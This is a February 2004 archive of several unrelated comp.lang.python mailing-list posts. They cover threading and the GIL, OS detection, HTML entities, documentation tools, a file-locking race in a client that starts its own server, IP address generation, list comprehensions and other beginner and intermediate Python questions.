From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Fri, 13 Feb 2004 16:01:58 GMT
Subject: GIL on SMP (need quick answer for the boss :) - thanks!
Message-ID: <Wx6Xb.147590$cM1.26679258@twister.nyc.rr.com>

I am working on a windoze service (deamon) that needs to spawn up to 
NumCPU heavyweight processes on SMP and wait for results, which have to 
  be logged. So I have to do something like (total pseudocode, thread 
pool not implemented, but demonstrates the problem):

Logger log


def ThreadFoo(job):
	log.write(os.open(job).read())

while(1):
	jobs = GetJobs()
	threads = []
	for job in jobs:
		threads.append(SpawnThread(ThreadFoo, job))
	waitFor(threads)


I have 3 questions:

1) (this is the killer) - is GIL going to get me into trouble? (i guess 
not, since all the python threads can run on the same CPU, not 
preventing the processes from being scheduled to different CPUs by the OS)
2) any problems having multiple threads write to the log (the standard 
Python logger). In general, is there an easy way to determine if a 
particular Python lib is thread-safe, at least for the standard libs?
3) Has anyone already implemented a thread pool lib that I can use (GPL 
not ok for this :()

thanks,

max


From drconrad at metaplay.com.au  Tue Feb 10 21:08:39 2004
From: drconrad at metaplay.com.au (Simon Wittber)
Date: Wed, 11 Feb 2004 10:08:39 +0800
Subject: help! multi-threading problem on hyperthreading smp linux server
In-Reply-To: <2004021012361076434601@k2.sage.att.com>
Message-ID: <000001c3f043$f8816310$0000fea9@simonxp>

Gary Wrote:
-----------------
...has anyone run into problems like this, or have any clues what the
problem might be?  we pushed pretty hard on a skeptical project manager
to get python and webware accepted for this project, and it's
embarrassing to have it acting flaky.
-----------------

I had similar problems with our multi-threaded network application. The
solution is simply to not use threads. We are now using a forking, multi
process server in place of threads. Preliminary testing indicates that a
multi-process architecture scales much better than a multi-threaded
approach, so I am happy with this decision.

Simonw.




From ray at rays-web.com  Fri Feb 27 03:10:33 2004
From: ray at rays-web.com (Ray Smith)
Date: Fri, 27 Feb 2004 08:10:33 GMT
Subject: detecting the operating system
In-Reply-To: <c1mtcj$ofv$1@news-int.gatech.edu>
References: <c1mtcj$ofv$1@news-int.gatech.edu>
Message-ID: <403efb6a@news.syd.ip.net.au>

Woojay Jeon wrote:
> OK, I tried a Google search on this Usenet group but couldn't find a
> solution, so I'm posting my question here (if there's a better archive than
> the one in Google, please let me know).
> 
> Does anybody know how to detect the operating system under which the current
> Python program is running, especially whether it's Windows or Unix? I have a
> program that needs to search for files in "c:\test" if it's running under
> Windows, and "/home/user/test" if it's running under Unix, so the simplest
> solution I can think of is to detect the operating system, but if anyone
> could suggest a workaround, that would also be fine.

sys.platform

Ray Smith




From gandalf at geochemsource.com  Tue Feb 24 08:48:59 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Tue, 24 Feb 2004 14:48:59 +0100
Subject: htmlentities, htmlspecialchars
Message-ID: <403B564B.5000304@geochemsource.com>

Hi all! I'm writting a web application using IIS and Python. I would 
like to have the Python equvalient of the PHP functions 'htmlentities' 
and 'htmlspecialchars'. E.g. to convert

  a'   >>>>  aacute; 
  ?  >>>>    otilde;

and the others. I looked for them in many libraries (urllib, htmllib, 
urlparse etc.) but I could only find the 'urlencode' function. I could 
not find anything on google  ('python htmlentities equvalent'). Please 
help me find it out. Thanks in advance.

   G





From bblochl2 at compuserve.de  Tue Feb 24 12:49:47 2004
From: bblochl2 at compuserve.de (b-blochl)
Date: Tue, 24 Feb 2004 18:49:47 +0100
Subject: Thoughts about Python
In-Reply-To: <c1fs44$ve4$1@sea.gmane.org>
References: <403B4963.4060303@compuserve.de> <c1fs44$ve4$1@sea.gmane.org>
Message-ID: <403B8EBB.10602@compuserve.de>

Terry Reedy schrieb:

>"b-blochl" <bblochl2 at compuserve.de> wrote in message
>news:403B4963.4060303 at compuserve.de...
>  
>
>><Marco Aschwanden> PPNTWIMBXFFC at spammotel.com:  "Thoughts about Python"
>>    
>>
>
>  
>
>>I find your Thoughts about Python very interesting and valuable. I agree
>>in many of your arguments.
>>    
>>
>
>He mostly presented not arguments but unsupported ideas.  Most are based on
>misunderstandings with obvious flaws to experienced Pythoneers.
>
>  
>
>>I would recommend you to post your  thoughts directly to
>>guido at python.org.
>>    
>>
>
>NO! Do not do this.  Guido is already way too busy to have such stuff
>imposed on him.
>Posting here was exactly the right thing to do.
>
>  
>
>>Guido is the source for a possible change.
>>    
>>
>
>Actually most ideas come from someone else.  Small fixes and changes often
>get approved by one of the other developers.  Important decisions by Guido
>require a PEP or patch and usually discussion on the developers list.
>
>Terry J. Reedy
>
>
>
>
>  
>
I apologize for my mistake!

Indeed I found some discussion threads to the different points by 
checking the python.org-search. Especially the differences to JAVA and 
C++ was obviously discussed at about 2001. I will study the expressed 
arguments carefully and try to compare the different concepts. I also 
will try to read the developers discussion threads - I have not found 
yet. Hopefully I am convinced afterwards.
But befor the proof of the Discussion threads: Sometimes ideas may also 
be interesting? For instance to make something static by a simple 
keyword static?  (An Argumrnt that counts may be, the very simple use of 
it and the explaining of concept free of syntax bloat for introductory 
lectures to programming?)  But there may be a reason, that there is not 
such a concept in python - I may find it.

Again, sorry for my ignorance!

Bernhard




From nospam-deets at web.de  Fri Feb  6 05:51:02 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Fri, 06 Feb 2004 11:51:02 +0100
Subject: Custom operator
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>
	<20040205220748.GA8055@nl.linux.org>
	<mailman.1293.1076050687.12720.python-list@python.org>
Message-ID: <bvvrj9$103bhk$1@ID-111250.news.uni-berlin.de>

mathias.foehr at mails.lu wrote:

> I want to define new operators because mathematicians use special
> operators (
>          eg circle plus (+), circle times (*), arrows ->
> ) since centuries. It increases readability in this area and people have
> got used to it.

Then I suggest you wait until we from the tu berlin finish opal 2 - a
functional programming language which features declaration not only of
infix-operators, but even mix-fixes like

_ [ _ ]

for element access and the like. You can also specify operator precedence
and associativity.

In the already existing Opal btw. you can already create arbitrary
infix-ops, but afaik you need to use parentheses to eliminate ambiguities.

> By the way, are there hooks in python to preprocess a statement before the
> python compiler
> takes care of it?

Not that I know of - but I'm not expert on this. A few weeks ago somebody
announced that he was working on lisp-style makros - maybe he found a way.
Search google.

-- 
Regards,

Diez B. Roggisch


From prouleau at impathnetworks.com  Wed Feb 25 00:05:23 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Wed, 25 Feb 2004 00:05:23 -0500
Subject: Python HTML Documentation Generators
In-Reply-To: <c1fsv5$2of$1@news-int2.gatech.edu>
References: <c1fsv5$2of$1@news-int2.gatech.edu>
Message-ID: <j2W_b.10398$253.853318@news20.bellglobal.com>

Mikey At Work wrote:

> I'm looking for opinions on the several HTML documentation generators
> available for Python.  We're trying to standardize the documentaion used for
> an upcoming project.  Specifically, I'm looking for something very similar
> to Javadoc in both output and syntax (because most of our team members are
> very familiar with Javadoc).
> 
> I've pretty much narrowed it to either PythonDoc or epydoc, but wanted to
> ask the newsgroup's opinion before making a final decision. 

I have been using epydoc with reStructuredText instead of Javadoc and 
have found it quite useful.  I use reStructuredText myself (instead of 
Javadoc) because it is easy to format) so I can't comment on its Javadoc 
support.  It did not have any problem with its support for 
reStructuredText.  It is nice because you can create documentation wich 
contains URL linking to whathever you like and has support for 
'interpreted' links (links to class names, methods, functions etc...)

I have not used PythonDoc, but have used pydoc.  I prefer Epydoc over 
pydoc for its browsing capabilities.

I have also used Doxygen in the C++ world, and I would like to get its 
nice diagraming facilities incorporated in something like Epydoc 
(Doxygen is able to draw nice class hierarchy and class relationship 
diagrams).

   What are your opinions on
> documentation through docstrings vs documentation through comments?  

One very powerful advantage of docstring comments is the ability to 
provide testable examples that can be used as unit test code when you 
use the doctest module.  You cannot do this with comments.  Take a look 
at http://www.python.org/doc/current/lib/module-doctest.html.

With doctest and a simple markup language like reStructuredText (or 
probably JavaDoc) you can write very complete documentation that is 
extracted by Epydoc, formatted nicely in HTML (or other formats) and 
that can be tested for accuracy.

Pierre



From gandalf at geochemsource.com  Tue Feb 24 15:35:34 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Tue, 24 Feb 2004 21:35:34 +0100
Subject: Session object in ASP script
References: <DE1CF2B4FEC4A342BF62B6B2B334601E561DA7@opus.amorhq.net>
Message-ID: <403BB596.3030204@geochemsource.com>

>
>
>>I'm using IIS with python. I'm trying to use this combination
>>for the first time. I have a problem here.
>>I cannot assign new items to the Session. For example:
>>
>>Session.Contents.Item("foo") = 1            -> HTTP/1.1  500 Server
>>    
>>
>Error
>  
>
>>Session("foo") = 1                                  -> HTTP/1.1  500
>>    
>>
>Server Error
>  
>
>>Session.foo = 1                                      ->
>>    
>>
>AttributeError: foo
>
>http://www.faqts.com/knowledge_base/view.phtml/aid/4937/fid/501
>  
>
You are my man! Thanks!

G





From newsgroups at jhrothjr.com  Wed Feb 11 16:10:29 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 11 Feb 2004 16:10:29 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
Message-ID: <102l6m9c5atv78b@news.supernews.com>

"Stephen Ferg" <steve at ferg.org> wrote in message
news:b16e4ef7.0402110701.5acf67e4 at posting.google.com...
> I've just spent several very frustrating hours tracking down a bug in
> one of my programs.  The problem was that I was writing text to a
> file, and when I was done I coded
>
>    f.close
>
> when I should have been coding
>
>    f.close()
>
> with the parentheses.
>
> Although I love Python dearly, the fact that such an easy-to-make
> mistake should do nothing useful and do it silently (which, in this
> context, means: fail silently) seems to me a bit of a wart.
>
> In any event, does anybody have any suggestions for how a coder could
> avoid making such a mistake, or detect it quickly?
>
> I teach the occasional beginning Python class, and I would hate to
> have to tell my beginning students to watch out for making this kind
> of mistake because it can bite you in a most nasty way.

I don't know about anyone else, but I'd appreciate a run
time error message when it detects an impossible operation
on a function/bound method/unbound method which has no /
one operand on the top of the stack.

Something simple, like: "Unsupported operation on {function
| unbound method | bound method} with {no | one} operand
detected. Did you forget the empty calling parameter list < () >?"

So far, that would have saved me close to a cumulative
person-week of work!

John Roth




From balex at sympatico.ca  Fri Feb 20 09:52:46 2004
From: balex at sympatico.ca (Brian)
Date: Fri, 20 Feb 2004 09:52:46 -0500
Subject: unitest with python curses app
Message-ID: <pan.2004.02.20.14.52.46.212175.11822@sympatico.ca>

Hello;

I'm writing a program with curses in python and having a bit of trouble
understanding how to use unittest. So far, I have used testing
successfully -- as long as the report goes to stdout (or does unittest
write to stderr?)

The curses part of the program seems to affect unittest's writing of the
report. The screen is not what the report expects, so a lot of
information is in the wrong place after the program exits. (I actually wrap
the calls into the
curses library with curses.wrapper() in an attempt to restore the display
properly after the program exits -- to no avail. I guess the problem is
that unittest writes to the display while curses has control, not just
just afterwards.

How do I handle test reporting for a graphical (curses) application? I
would really like to read or capture the report on screen after the
program exits.

Many thanks,

Brian.


From ralf at brainbot.com  Tue Feb 10 13:46:37 2004
From: ralf at brainbot.com (ralf at brainbot.com)
Date: Tue, 10 Feb 2004 19:46:37 +0100
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
Message-ID: <86fzdiydpu.fsf@stronzo.brainbot.com>

fortepianissimo at yahoo.com.tw (Fortepianissimo) writes:

> Here is the situation: I want my server started up upon connection.
> When the first connection comes in, the server is not running. The
> client realizes the fact, and then starts up the server and tries to
> connect again. This of course all happens on the same machine (local
> connection only).
>
> The connections can come in as fast as 30+/sec, so the server is
> threaded (using SocketServer.ThreadingTCPServer). Further, the server
> initialization is threaded into two: one is to do the real, lengthy
> setup, the other is start lisenting ASAP.
>
> The problem: I need to prevent multiple copies of the server being
> started. I did this by using file locking (fcntl.lockf()). However,
> not every time the code successfully prevented the server being
> started up more than one time. Here is the relevant code:

When using fcntl.lockf different FooClient instances in the same
process will be able lock the file and start another server. You could
either use fcntl.flock to prevent that or use some global flag.
Also be sure to keep the file open by keeping a reference to it
(i.e. self.serverStartLock=open(...)). 
For debugging purposes, remove that 'if self.connect(): return' and
I think you'll see much more servers being started.

>
> ---- CLIENT CODE SNIPPET STARTS ----
> from fooConsts import *
>
> import socket,fcntl,os,sys,time,logging
>
> FOO_CLIENT_DEBUG=1
>
> POLL_SERVER_INTVL=0.5
>
> if FOO_CLIENT_DEBUG:
>     myPID=os.getpid()
>     logger = logging.getLogger('FOO Client')
>     hdlr = logging.FileHandler(TMP_PATH+'fooClient.log')
>     formatter = logging.Formatter('%(asctime)s %(message)s')
>     hdlr.setFormatter(formatter)
>     logger.addHandler(hdlr) 
>     logger.setLevel(logging.INFO)
>
>     def log (info):
>         logger.info('%d: %s'%(myPID,info))
>
>
> class FooClient:
>     def __init__ (self, startServer=True):
>         """Connects to FooServer if it exists, otherwise starts it and
> connects to it"""
>         self.connected=True
>         if self.connect(): return
>         elif not startServer:
>             if FOO_CLIENT_DEBUG: log('connection failed 1')
>             self.connected=False
>             return
>
>         # try to obtain the right to start a server; if we can't,
> someone else
>         # must be doing it - try to reconnect
>         try:
>             if FOO_CLIENT_DEBUG: log('try to get right to start
> server')
>             serverStartLock=open(TMP_PATH+'serverStart.lock','w')
>             fcntl.lockf(serverStartLock.fileno(),fcntl.LOCK_EX|fcntl.LOCK_NB)
>         except:
>             if FOO_CLIENT_DEBUG: log('someone else is doing it; wait
> 2')
>             while 1:
>                 time.sleep(POLL_SERVER_INTVL)
>                 if self.connect(): return
>
>         # safe to start a server and connect to it
>         if FOO_CLIENT_DEBUG: log('start server')
>         exitCode=os.system('python -OO "%sfooServer.py" &'%FOO_PATH)
>         if exitCode==0:
>             if FOO_CLIENT_DEBUG: log('server is being started; wait
> 3')
>             while 1:
>                 time.sleep(POLL_SERVER_INTVL)
>                 if self.connect(): return
>         else:
>             if FOO_CLIENT_DEBUG: log('sever bootstrapping failed')
>             self.connected=False
>             raise "Cannot start FOOServer"
>     
>     def connect (self):
>         """Attempts to connect to FOOServer from PORT_MIN to
> PORT_MAX"""
>         if FOO_CLIENT_DEBUG: log('connection attempt')
>         port=PORT_MIN
>         while port<=PORT_MAX:
>             try:
>                 self.socket=socket.socket(socket.AF_INET,
> socket.SOCK_STREAM)
>                 self.socket.connect(('',port))
>                 break
>             except:
>                 self.socket.close()
>                 port+=1
>
>         if port>PORT_MAX:
>             if FOO_CLIENT_DEBUG: log('connection failed 2')
>             return False
>         if FOO_CLIENT_DEBUG: log('connection succeeded at port
> %d'%port)
>         return True
> ...
>
> FooClient()
> ---- CLIENT CODE SNIPPET ENDS ----
>
> From the log (when problem occurred) I see even *AFTER* the server was
> started and accepted connections (several connections came and went
> happily), a connection would come in and hit the "connection failed 1"
> log line. This shouldn't have happened as the default value of
> startServer for FooClient.__init__() is True. In the very same

Well, maybe too many connection attempts are pending...

> incident, FooServer was started twice, but in the log there's no trace
> of two "start server" lines, but only the "connection failed 1" line
> in the very end of the log.
>
> I realize this is a rather complex question to ask for help, but I'm
> really at wits end. Feel free to skip the detailed description, and
> just throw me some general tips and hints. Thank you VERY MUCH!

-- 
brainbot technologies ag
boppstrasse 64 . 55118 mainz . germany
fon +49 6131 211639-1 . fax +49 6131 211639-2
http://brainbot.com/  mailto:ralf at brainbot.com


From miki.tebeka at zoran.com  Tue Feb 10 07:40:08 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 10 Feb 2004 04:40:08 -0800
Subject: py2exe 0.5 and multiple utilities
Message-ID: <4f0a9fdb.0402100440.70f7ee01@posting.google.com>

Hello All,

I'd like to create several utilities with py2exe and place them all in
the same directory.
However for each utility py2exe creates a different library.zip.

Any ideas on how to overcome this problem? (Placing all in the same
setup.py is not an option).

Thanks.
Miki


From rays at blue-cove.com  Sat Feb 14 11:04:55 2004
From: rays at blue-cove.com (RayS)
Date: Sat, 14 Feb 2004 08:04:55 -0800
Subject: Generating and printing a range of ip addresses
In-Reply-To: <20040214073612.19320.qmail@web60910.mail.yahoo.com>
Message-ID: <5.2.1.1.2.20040214080012.06ca1ec0@216.122.242.54>

At 11:36 PM 2/13/04 -0800, Stephen Briley wrote:
>Hi all,
>
>I would like to write a python script that takes input
>of 2 ip address, one a start address and the other the
>end address and prints a list of all ip address in
>between  in dotted-decimal format.  I've attempted to
>use the ipv4 module
>(http://pynms.sourceforge.net/ipv4.html) ,but I am
>unable to get past this error  "AttributeError: 'str'
>object has no attribute '_address".

The prob is your're comparing ip.nexthost() and '10.0.3.0', i.e, a object 
and an  string.

>Can any suggest a solution to this problem?

Try:
while str(startadd) != endadd:
...

Ray 




From user at domain.invalid  Fri Feb  6 09:43:00 2004
From: user at domain.invalid (not_yet)
Date: Fri, 06 Feb 2004 14:43:00 GMT
Subject: new newbie
Message-ID: <UJNUb.10836$213.5980@edtnps89>

new to python and linux

how do I start idle?

using Fedora / Python2.2

thanks


From secchi at sssup.it  Wed Feb 25 11:47:03 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Wed, 25 Feb 2004 17:47:03 +0100
Subject: Newbie lost
Message-ID: <20040225174703.4c0872d7.secchi@sssup.it>


I'm fighting with a binary file and I am definitely lost.
I know that each line of the file has a first part that is a string with
length 113 and then that there is a group of identical fields. I do not
know the precise format of these fields even if I know that the file was
created on an IBM Mainframe and that in the binary part there should be
223 fields with the same width 4.
Just to give you an idea if I read the first line of my file  as a
string I obtain something like (just a small part of the first line):

13510010222010341341F\xee;\xb4\x00\x00\x00\x00\x00\x00\x00\x00F]\xe3\x9
a\x00


Still I am not able to convert this binary. Can anybody give some
advices?

Thanks
Angelo



--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it	www.sssup.it/~secchi/
========================================================



From pete at shinners.org  Wed Feb 18 11:11:44 2004
From: pete at shinners.org (Pete Shinners)
Date: Wed, 18 Feb 2004 08:11:44 -0800
Subject: pygame and tutorial
In-Reply-To: <ca5642cb.0402161422.61c41c25@posting.google.com>
References: <ca5642cb.0402161422.61c41c25@posting.google.com>
Message-ID: <c102s1$hog$1@sea.gmane.org>

ardechou wrote:
> i want to find a tutorial for pygame 
> but not on the site of pygame , just a tutorial for a beginner , to
> open a progam , to see the resolution of the screen , to use the mouse
> , to write text on screen
> and a lot of small tips ... 

Hello. Not sure why you want to avoid the pygame site for pygame tutorials? 
There are plenty to choose from. For beginner tutorials and tips I've put 
together a small list at the end of this message.

A lot of people also prefer learning from examples. The pygame package comes 
with about 8 tutorials of different types of programs. If you are on Windows 
you may not have gotten the tutorials, they come on in a separate file,
http://pygame.org/ftp/pygame-docs-1.6.exe


Import and Initialize
http://pygame.org/docs/tut/ImportInit.html

Setting Display Modes
http://pygame.org/docs/tut/DisplayModes.html

Help! How Do I Move An Image?
http://pygame.org/docs/tut/MoveIt.html

Line By Line Through the Chimp Tutorial
http://pygame.org/docs/tut/chimp/ChimpLineByLine.html

13 Newbie Tips
http://pygame.org/docs/tut/newbieguide.html


Moving on from these beginner tutorials there are other which help you 
through designing the parts of a full game.




From tjreedy at udel.edu  Tue Feb 10 00:02:26 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 10 Feb 2004 00:02:26 -0500
Subject: Python style advice
References: <slrnc2enr8.bmp.ncw@irishsea.home.craig-wood.com>
Message-ID: <c09ol2$r41$1@sea.gmane.org>


"Nick Craig-Wood" <ncw at axis.demon.co.uk> wrote in message
news:slrnc2enr8.bmp.ncw at irishsea.home.craig-wood.com...
> Python newbie advice needed!
>
> I'm tring to write what I would have expressed in Perl as
>
>     my ($a, $b, $c) = @array;
>
> This is very similar to the python statement
>
>     a, b, c = array
>
> BUT, the Python will throw an exception if array isn't exactly 3 elements
long,

This is an intentional feature.  Mismatches are often bugs.

> wheras the Perl will work for any length of @array,
> either throwing away excess elements or setting the variables to
> undef, ie like this

Guido's philosophy is that the interpreter should resist guessing like this
when code is at least half likely to be buggy.

> And this works however many elements array has
>
>     a, b, c = (array + 3*[None])[:3]
>
> but it doesn't seem very Pythonic - is there a better way?

Being explicitly generic is Pythonic to me.  Or do something like

a=b=c=None
try: c=array[2]
  try: b=array[1]
    try: a=array[1]
    except: pass
  except: pass
except: pass

but I prefer the one liner here.  It is easier to extend to more names.

Terry J. Reedy








From aahz at pythoncraft.com  Wed Feb 25 02:32:16 2004
From: aahz at pythoncraft.com (Aahz)
Date: 25 Feb 2004 02:32:16 -0500
Subject: Sharing accomodation @ PyCon?
References: <mailman.64.1077656623.8594.python-list@python.org>
Message-ID: <c1hj20$5ac$1@panix1.panix.com>

In article <mailman.64.1077656623.8594.python-list at python.org>,
Mike C. Fletcher <mcfletch at rogers.com> wrote:
>
>I'm still looking for someone with whom to share a room at PyCon.  I'd 
>prefer the Best Western in Arlington (1 subway stop from PyCon).  I'd 
>like to book or confirm sharing someone else's booking within the next 
>few days.

For you or anyone else interested in doing this, it's probably a good
idea to specify which dates you want, given the sprint 3/20-23 and the
conference 3/24-26.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From amk at amk.ca  Fri Feb 27 08:11:09 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Fri, 27 Feb 2004 07:11:09 -0600
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
Message-ID: <HM6dnY5wr9tw3KLdRVn-gg@speakeasy.net>

On Thu, 26 Feb 2004 14:45:56 -0800, 
	Trevor Perrin <trevp at trevp.net> wrote:
> tlslite lets you run Python's BaseHTTPServer or SimpleHTTPServer with HTTPS.
> http://trevp.net/tlslite/

Neat!  

Would tlslite be able to handle TLS asynchronously?  I've been wanting to
add SSL/TLS support to Medusa, but didn't want to require external packages
such as PyOpenSSL.

--amk


From amy-g-art at cox.net  Tue Feb  3 03:44:54 2004
From: amy-g-art at cox.net (Amy G)
Date: Tue, 3 Feb 2004 00:44:54 -0800
Subject: removing spaces when mixing variables / text
References: <pan.2004.02.03.08.14.18.542560@spam.kc.rr.com>
Message-ID: <9cJTb.28703$P17.18715@fed1read03>

try this instead

while n > 0:
     a = random.randint(1,254)
     b = random.randint(1,254)
     c = random.randint(1,254)
     d = random.randint(1,254)
     print str(a) + "." + str(b) + "." + str(c) + "." + str(d)
     n -= 1


"tgiles" <tgiles at spam.kc.rr.com> wrote in message
news:pan.2004.02.03.08.14.18.542560 at spam.kc.rr.com...
> Hi, all.
>
> I'm YAPN (Yet Another Python Newbie), started messing with it last night
> and so far, so good. Documentation exellent and the people seem friendly
> enough ;)
>
> Ok, I started playing around with random() and decided to write a script
> to generate random dotted quad IP addresses, just to see if I could do it.
>
> Everything is perfect with the glaring exeception of the output. It seems
> as if when one uses the "," in a print statement, you get an empty space
> in between variables and what I want there (namely, the ".").
>
> I've tried it several different ways with no go. Here's the script in all
> her cheesy glory:
>
> import random
> n = 2
> while n > 0:
> a = random.randint(1,254)
> b = random.randint(1,254)
> c = random.randint(1,254)
> d = random.randint(1,254)
> print a,".",b,".",c,".",d
> n = n-1
>
> The output at the moment looks like so:
>
> 179 . 72 . 138 . 272
> 21 . 124 . 83 . 9
>
> When, in a perfect universe it would look like so:
>
> 179.72.138.272
> 21.124.83.9
>
> Thoughts on what critically simple something I missed?
>
> Thanks for the input!
>
> tom




From sdhyok at yahoo.com  Thu Feb 19 21:04:57 2004
From: sdhyok at yahoo.com (sdhyok)
Date: 19 Feb 2004 18:04:57 -0800
Subject: Class for Time Series Data
Message-ID: <420ced91.0402191804.49a5d91f@posting.google.com>

Hi, I am trying to build up a system handling time series data a lot.
Do you know any well-designed python class specially for time series data?
Thanks in advance.

Shin, Daehyok


From rmkrauter at yahoo.com  Wed Feb  4 19:39:02 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Wed, 04 Feb 2004 19:39:02 -0500
Subject: an ingrate newbie complains
In-Reply-To: <L0gUb.391501$JQ1.257591@pd7tw1no>
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
	<mailman.1212.1075922934.12720.python-list@python.org>
	<L0gUb.391501$JQ1.257591@pd7tw1no>
Message-ID: <1075941542.4424.35.camel@vaio>

Are some of these examples only working because and y have been
initialized by previous runs?
I tried deleting x and y between list comprehensions and they don't work
anymore. Maybe I'm missing the point.

Rich


On Wed, 2004-02-04 at 19:22, Elaine Jackson wrote:
> Thanks to everyone who responded. Digging into this matter of list
> comprehensions a bit more, I turned up some interesting facts. Consider the
> following example:
> 
> >>> f = lambda x,y: x*y+2*pow(y,2)
> >>> g = lambda x: 3*pow(x,2)
> >>> list = [1,2,3,4,5]
> 
> The kind of expression I have in mind would be equivalent to...
> 
> >>> [f(x,y) for (x,y) in [(x,g(x)) for x in list] if y>19]
> [1539, 4800, 11625]
> 
> ...which is equivalent to...
> 
> >>> [f(x,y) for x in list for y in [g(x)] if y>19]
> [1539, 4800, 11625]
> 
> ...but it's not equivalent to...
> 
> >>> [f(x,y) for y in [g(x)] if y>19 for x in list]
> [11325, 11400, 11475, 11550, 11625]
> 
> ...or to...
> 
> >>> [f(x,y) for y in [g(x)] for x in list if y>19]
> [11325, 11400, 11475, 11550, 11625]
> 
> I imagine a good explanation of this discrepancy can only be gotten by dipping
> into the documentation and finding out what an "iterator" is, and that's
> unfortunate (imho), because it means that list comprehensions fail to
> "intuitively suggest the proper meaning to a human reader who has not yet been
> introduced to the construct" (quote taken from the FAQ).
> 
> del list
> ## Peace
> 
> "Skip Montanaro" <skip at pobox.com> wrote in message
> news:mailman.1212.1075922934.12720.python-list at python.org...
> |
> |     Elaine> 1) I find the following behavior puzzling and disappointing:
> |
> |     >>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
> |     >>> Y=dict(X)
> |     >>> Z=list(Y)
> |     >>> Z==X
> |     False
> |     >>> Z==Y.keys()
> |     True
> |
> | That list(Y) returns the keys of X is perhaps unfortunate, but the same
> | behavior allows you to write:
> |
> |     for key in Y:
> |         print (key, y[key])
> |
> | which can be an efficiency gain if Y is large (not having to build a list of
> | all the keys ahead of time).  You'll find this to be true though:
> |
> |     W = Y.items()
> |     W.sort()
> |     W == X
> |
> |     Elaine> 2) How come you can't write...
> |
> |     Elaine> if y = f(x) > 3:
> |     Elaine>     <do a bunch of things with x and y>
> |
> | There is a common class of errors in C code:
> |
> |     if (c = 0) {
> |         ...
> |     }
> |
> | Is that supposed to be an assignment or a test?  Python avoids that problem
> | by not allowing assignments within expressions.
> |
> |     Elaine> That kind of syntax would be especially welcome in list
> |     Elaine> comprehensions:
> |
> |     Elaine> [f(x,y) for x in list if y=g(x)<=0]
> |
> | I think you can recast that as:
> |
> |     [f(x,y) for (x,y) in zip(list, [g(z) for z in list]) if y <= 0]
> |
> | but do you really want to?  (This won't work if list is an iterator.)
> |
> |     Elaine> If g(x) is a fairly complicated expression, and y occurs several
> |     Elaine> times in f(x,y), considerable clarity could be gained.
> |
> | If g(x) is a fairly complicated expression and y occurs several times in
> | f(x,y), perhaps you should be using a for loop instead of a list
> | comprehension:
> |
> |     result = []
> |     for x in list:
> |         y = g(x)
> |         if y <= 0:
> |             result.append(f(x,y))
> |     return result
> |
> | (FYI, you shouldn't use "list" as a variable name.  You're shadowing a
> | builtin, a practice that can lead to confusing error messages, if nothing
> | else.)
> |
> | Skip
> |
> 



From haynesc at rockefeller.edu  Thu Feb  5 11:44:48 2004
From: haynesc at rockefeller.edu (Chad Haynes)
Date: Thu, 05 Feb 2004 11:44:48 -0500
Subject: integer overflow
In-Reply-To: <m3n07x5vxp.fsf@pc150.maths.bris.ac.uk>
References: <V7Cdnagd9Yd0-r_dRVn_vQ@news.rockefeller.edu>
	<m3n07x5vxp.fsf@pc150.maths.bris.ac.uk>
Message-ID: <_LKdnSsPRbRZ77_dRVn_vQ@news.rockefeller.edu>

Michael Hudson wrote:

> Chad Haynes <haynesc at rockefeller.edu> writes:
> 
> 
>>I got an odd error which I cannot explain and cannot seem to reproduce.
>>The following statement
>>
>>	lst[0] = num
>>
>>produced this error
>>
>>	OverflowError: unsigned short is greater than maximum
>>
>>The number was around 65536 so it makes sense that it would overflow a
>>short, but why is it trying to force it into a short integer?
> 
> 
> Is lst an array.array('h') or something (numarray...)?

Nope, its just a regular list

> 
> Cheers,
> mwh
> 


From tjreedy at udel.edu  Wed Feb 25 12:14:54 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 25 Feb 2004 12:14:54 -0500
Subject: test for raw string
References: <m2k72b16lc.fsf@mother.paradise.lost>
Message-ID: <c1il6f$8j9$1@sea.gmane.org>


"John Hunter" <jdhunter at ace.bsd.uchicago.edu> wrote in message
news:m2k72b16lc.fsf at mother.paradise.lost...
>
> I have a function that takes a string as an argument.  Is there a way
> to test whether the caller of this function passed in a raw string

No, because there is no such thing (object) as a raw string.  There are
only str strings and unicode strings. The phrase 'raw string' is an
abbreviation of 'raw string literal'.  The 'r' prefix changes how the
interpreter interprets the literal text (by not interpreting '\' as
special) when creating the string (of either type).  And that is it.

>>> type('s') == type(r's')
1
>>> type(u's') == type(ur's') # ru's' does not work
1

Terry J. Reedy








From sheepsquall at netscape.net  Sat Feb  7 19:51:37 2004
From: sheepsquall at netscape.net (Axle)
Date: Sun, 08 Feb 2004 00:51:37 GMT
Subject: Hey ...
Message-ID: <tKfVb.22043$3YE1.17379@news04.bloor.is.net.cable.rogers.com>

Hi, I just subscribed to this newsgroup , using a hokey program called 
"Netscape 7" or something ;)

I'm a 12-year-old who is majorly into programming... I know a very small 
bit of C++, a small bit of VB, and a lot of python.

Well...

have fun

Axle



From peter at engcorp.com  Fri Feb 13 11:27:41 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 13 Feb 2004 11:27:41 -0500
Subject: Question: spawn and redirection
